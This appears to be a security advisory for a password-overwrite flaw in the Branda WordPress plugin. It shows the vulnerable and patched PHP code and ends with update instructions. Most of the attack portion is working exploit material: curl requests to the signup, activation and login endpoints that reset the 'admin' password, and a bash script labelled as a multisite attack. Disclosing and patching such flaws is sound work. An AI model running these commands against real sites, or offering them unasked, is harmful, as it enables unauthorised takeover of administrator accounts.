
Unauthenticated Privilege Escalation via Account Takeover
The Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.29. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.
/inc/modules/login-screen/signup-password.php
The pre_insert_user_data() function in the vulnerable version lacks proper validation:
// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite code...
}
// Missing: if ($update) return $data; <-- VULNERABILITY
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
// Set the password from POST data
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite code with proper checks...
}
// FIX: Added check to prevent updating existing users
if ( $update ) {
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
/wp-signup.phppassword_1 parameter/wp-login.php?action=registercurl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-signup.php" \
-d "user_name=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "signup_for=blog"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php?action=register" \
-d "user_login=admin" \
-d "[email protected]" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "wp-submit=Register"
# Extract activation key from email and visit:
curl -s -k -c cookies.txt -b cookies.txt \
"https://TARGET/wp-activate.php?key=ACTIVATION_KEY"
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php" \
-d "log=admin" \
-d "pwd=NewP@ssw0rd!" \
-d "wp-submit=Log In" \
-L | grep -i "dashboard\|wp-admin\|error"
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"
echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."
# Multisite attack
curl -s -k -c /tmp/cookies.txt \
-X POST "$TARGET/wp-signup.php" \
-d "user_name=$USERNAME" \
-d "[email protected]" \
-d "password_1=$NEW_PASSWORD" \
-d "password_2=$NEW_PASSWORD"
echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"
Settings > General > Membership: Anyone can register)Update Branda plugin to version 3.4.31 or later:
# Via WordPress Admin
Dashboard > Plugins > Branda > Update
# Via WP-CLI
wp plugin update branda-white-labeling
# Via SSH
wp plugin update branda-white-labeling --version=3.4.31